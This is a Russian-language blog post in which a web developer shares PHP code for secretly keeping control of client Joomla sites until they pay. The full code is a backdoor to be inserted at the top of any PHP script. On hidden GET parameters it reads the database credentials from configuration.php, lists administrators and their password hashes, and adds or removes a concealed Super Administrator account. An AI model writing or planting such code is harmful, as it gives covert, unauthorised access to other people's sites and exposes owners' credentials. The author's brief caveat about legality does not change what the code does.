Полный контроль над проектом Joomla до завершения выплат

в 8:50, , рубрики: cms, Joomla, Веб-разработка, метки:

Это информация для самых маленьких, у прожженых мегакодеров материал вызывает, как минимум ухмылку. Дикий ржач до выката глаз – последняя стадия у темных эльфов 80+ lvl.

Когда-то давно, после освоения HTML, я впервые познакомился с CMS. Как и для многих, первым моим движком стала Joomla. Та самая, которую многие хают, а многие и боготворят. Набивая шишки на первых заказах я боролся с своевременной выплатой за работу. На тот момент была актуальна Joomla 1.0. А к выходу 1.5 я уже был готов отдать паре знакомых разрабов свое решение по контролю над сайтом, где бы он ни оказался. Не уверен, что это пригодится всем, но может будет актуально для пары десятков человек… Решение просто до безобразия, но и эффективно также.

Повторюсь — инфа для самых маленьких…

Выявление задачи

Основными вопросами стояли:

1. Независимость от внешних условий
2. Универсальность решения
3. Эффективность решения

А т.к. Joomla – легко изучаемая система, не пришлось долго копаться в коде. На поверхности лежал злополучный configuration.php, который мог выдать нам всю необходимую информацию для получения доступа. Использование этого файла скриптом из системы не требовало особых прав, всегда было независимо, т.к. не имело значения, где расположен сайт. Эффективность даже не стояла под вопросом – мы получаем все реквизиты для доступа к базе, а значит ко всему сайту на Joomla.

Работа над решением

Сам процесс написания не вызвал никаких проблем. Подгружался JConfig и забирались переменные. А дальше просто подключение к mysql и выполнение необходимых действий. И пошли хотелки…

1. Хочу интегрировать своего админа в юзеров. С возможностью удаления.
2. Хочу получать список админов, которые уже есть в базе.
3.… другого оказалось не нужно, все решалось наличием доступа…

После того, как список получился совсем небольшим, даже расстроился немного, работы предстояло на часок всего, а хотелось покодить. Пусть и в лайт режиме.

Получение списка админов

Тут проблем не возникло:

if ($_GET['func']=='get')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
$sql=mysql_query("SELECT * FROM `$param->db`.`$users` WHERE `$users`.`usertype`='Super Administrator' OR `$users`.`usertype`='Administrator' ") or die("Could not select password from `$param->db`.`$users`:".mysql_error());
$rows = mysql_num_rows($sql);
$cols = mysql_num_fields($sql);
}

Дальше вывод в таблицу и мы получаем вполне себе приличный набор данных о том, кто управляет сайтом.

echo ("<style>
tr {
border:1px solid #000;
margin:0;
}
td {
border:1px solid #000;
padding:0 5px;
}
.first {
background-color:#b9b9b9;
}
</style>");
echo("<table><tr class='first'><td>id</td><td>name</td><td>username</td><td>e-mail</td><td>password</td><td>usertype</td></tr>");
for($i=0;$i<$rows;$i++)
 {
  echo("<tr>");
   for($j=0;$j<6;$j++)
    {
     $result = mysql_result($sql,$i,$j);
     echo("<td>");
      echo($result);
     echo("</td>");
    }
  echo("</tr>");
}
echo("</table>");
}
}

id name username e-mail password usertype
111 admin1 super @mail.ru s1eArwGDAM6KPTTYCsiZug5p5QIzDBrk Super Administrator
111 admin2 admin @yandex.ru 00b09d7808ec308seeb3c313577ssasd Administrator

На случай начала «боевых действий» с новым админом мы вытаскиваем и хеши паролей. Не факт, что это что-то даст, но всякое бывает.
Получение админов было решено довольно быстро, а вот с добавлением нового пришлось немного покопаться.

Добавление своего админа

Для чего? Основная причина — быстрое получение доступа к неоплаченному проекту. Выдергивать пароли с хеша — дело неблагодарное, да и по времени затратное. Особенно если на том конце провода админ, а не тот, кто просто себя админом назвал. Так что упростим себе задачу.

Основным моментом по добавлению нового юзера в базу является тот момент, что юзер добавляется в 3 таблицы, а не в 1, как в некоторых системах. Поэтому пришлось немного покопаться в тонкостях joomla, посмотреть на данные других юзеров и разобраться что к чему. Вскоре код был написан и пошел тест.

if ($_GET['func']=='admin')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
mysql_query("INSERT INTO `$param->db`.`$users` (`id` ,`name` ,`username` ,`email` ,`password` ,`usertype` ,`block` ,
`sendEmail` ,`gid` ,`registerDate` , `lastvisitDate` , `activation` , `params` )
VALUES ('999', 'Handler', '$j_user', 'remote@remote.com', '$j_pass',
'Super Administrator', '0', '0', '25','0000-00-00 00:00:00', '0000-00-00 00:00:00', '',
'admin_language= language= editor= helpsite= timezone=-12');") or die("Could not insert into $users: " . mysql_error());
mysql_query("INSERT INTO `$param->db`.`$acl_aro` (`id` ,`section_value` ,`value` ,`order_value` ,`name` ,`hidden` )
VALUES ('999', 'users', '999', '0', 'Handler', '0');") or die("Could not insert to $acl_aro: " . mysql_error());
mysql_query("INSERT INTO `$param->db`.`$aro_map` (`group_id` ,`section_value` ,`aro_id` )
VALUES ('25', '', '999');") or die("Could not insert to $aro_map: " . mysql_error());
echo "Insert user is successfully<br />";
echo "Login: $j_user<br>";
echo "Password: admin";
}

Удаление админа

Ну вроде все, админ добавился, в админку спокойно заходим. Теперь удаление:

if ($_GET['func']=='delete')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
mysql_query("DELETE from `$param->db`.`$users` WHERE `$users`.`id`=999") or die("Could not delete from `$param->db`.`$users`:".mysql_error());
mysql_query("DELETE from `$param->db`.`$acl_aro` WHERE `$acl_aro`.`id`=999") or die("Could not delete from `$param->db`.`$acl_aro`:".mysql_error());
mysql_query("DELETE from `$param->db`.`$aro_map` WHERE `$acl_map`.`aro_id`=999") or die("Could not delete from `$param->db`.`$acl_map`:".mysql_error());
echo 'Delete user is successfully';
}

И на этом моменте я считал, что все в ажуре. Но, не тут то было. С доработкой системы разрабы Joomla меняли алгоритм хеширования и в новых системах он не работал должным образом. Поэтому для каждого сайта вопрос решался индивидуально. Интеграция происходила в соответствии с версией системы на уровне скрипта. В целом я был доволен результатом. Решение получилось простым, незамысловатым, но вполне оправдывающим силы на него потраченные.

Интеграция кода проходила в начало любого php скрипта, как системы, так и сторонних расширений. Главным условием стало обеспечить постоянный доступ к коду. Как Вы успели заметить, включение функционала происходит по GET запросам. Еще один элемент простоты, который дает возможность быстро получить результат. Для безопасности же можно использовать уникальный GET запрос, который и в голову не придет толком.
Всего, для запуска скрипта, необходимо указать 2 GET запроса. load=1&func=«команда».

В конце привожу код полностью:

<?php
if ($_GET['load']=='1')
{
$path=$_SERVER['DOCUMENT_ROOT']."/";
include($path."configuration.php");
$param = new Jconfig();
$host=$param->host;
$user=$param->user;
$pass=$param->password;
$users=$param->dbprefix."users";
$acl_aro=$param->dbprefix."core_acl_aro";
$aro_map=$param->dbprefix."core_acl_groups_aro_map";
$j_user='remote';
$j_pass='42797ecdd935ab95a82bba780fb698d5:O9eEid2zr9AXU57J1mrPbIErTiZergtd';
if ($_GET['func']=='admin')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
mysql_query("INSERT INTO `$param->db`.`$users` (`id` ,`name` ,`username` ,`email` ,`password` ,`usertype` ,`block` ,
`sendEmail` ,`gid` ,`registerDate` , `lastvisitDate` , `activation` , `params` )
VALUES ('999', 'Handler', '$j_user', 'remote@remote.com', '$j_pass',
'Super Administrator', '0', '0', '25','0000-00-00 00:00:00', '0000-00-00 00:00:00', '',
'admin_language= language= editor= helpsite= timezone=-12');") or die("Could not insert into $users: " . mysql_error());
mysql_query("INSERT INTO `$param->db`.`$acl_aro` (`id` ,`section_value` ,`value` ,`order_value` ,`name` ,`hidden` )
VALUES ('999', 'users', '999', '0', 'Handler', '0');") or die("Could not insert to $acl_aro: " . mysql_error());
mysql_query("INSERT INTO `$param->db`.`$aro_map` (`group_id` ,`section_value` ,`aro_id` )
VALUES ('25', '', '999');") or die("Could not insert to $aro_map: " . mysql_error());
echo "Insert user is successfully<br />";
echo "Login: $j_user<br>";
echo "Password: admin";
}
if ($_GET['func']=='delete')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
mysql_query("DELETE from `$param->db`.`$users` WHERE `$users`.`id`=999") or die("Could not delete from `$param->db`.`$users`:".mysql_error());
mysql_query("DELETE from `$param->db`.`$acl_aro` WHERE `$acl_aro`.`id`=999") or die("Could not delete from `$param->db`.`$acl_aro`:".mysql_error());
mysql_query("DELETE from `$param->db`.`$aro_map` WHERE `$acl_map`.`aro_id`=999") or die("Could not delete from `$param->db`.`$acl_map`:".mysql_error());
echo 'Delete user is successfully';
}
if ($_GET['func']=='get')
{
$db=mysql_connect($host,$user,$pass) or die("Could not connect: " . mysql_error());
mysql_select_db($param->db,$db);
$sql=mysql_query("SELECT * FROM `$param->db`.`$users` WHERE `$users`.`usertype`='Super Administrator' OR `$users`.`usertype`='Administrator' ") or die("Could not select password from `$param->db`.`$users`:".mysql_error());
$rows = mysql_num_rows($sql);
$cols = mysql_num_fields($sql);
echo ("<style>
tr {
border:1px solid #000;
margin:0;
}
td {
border:1px solid #000;
padding:0 5px;
}
.first {
background-color:#b9b9b9;
}
</style>");
echo("<table><tr class='first'><td>id</td><td>name</td><td>username</td><td>e-mail</td><td>password</td><td>usertype</td></tr>");
for($i=0;$i<$rows;$i++)
{
echo("<tr>");
for($j=0;$j<6;$j++)
{
$result = mysql_result($sql,$i,$j);
echo("<td>");
echo($result);
echo("</td>");
}
echo("</tr>");
}
echo("</table>");
}
}
else {
//Вставляется код скрипта, который используется донором для интеграции;
}
?>

P.S. — создание этого скрипта граничит между законной защиты своих интересов и незаконным доступом к чужой собственности. Безусловно, такие вопросы должны решаться в рамках права. Но бывают и исключительные ситуации… Надеюсь, мы все это прекрасно понимаем…

P.S.S. — Предполагая…
— «А надо делать на своих площадках сайты!» — надо, но отношения и условия бывают разные. Иногда проект берется даже не ради денег, а ради портфолио. И, чтобы добавить себе такой проект я готов идти на определенные компромиссы. Не всегда они оборачиваются положительным результатом, но это погрешность.

Автор: 2ball

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js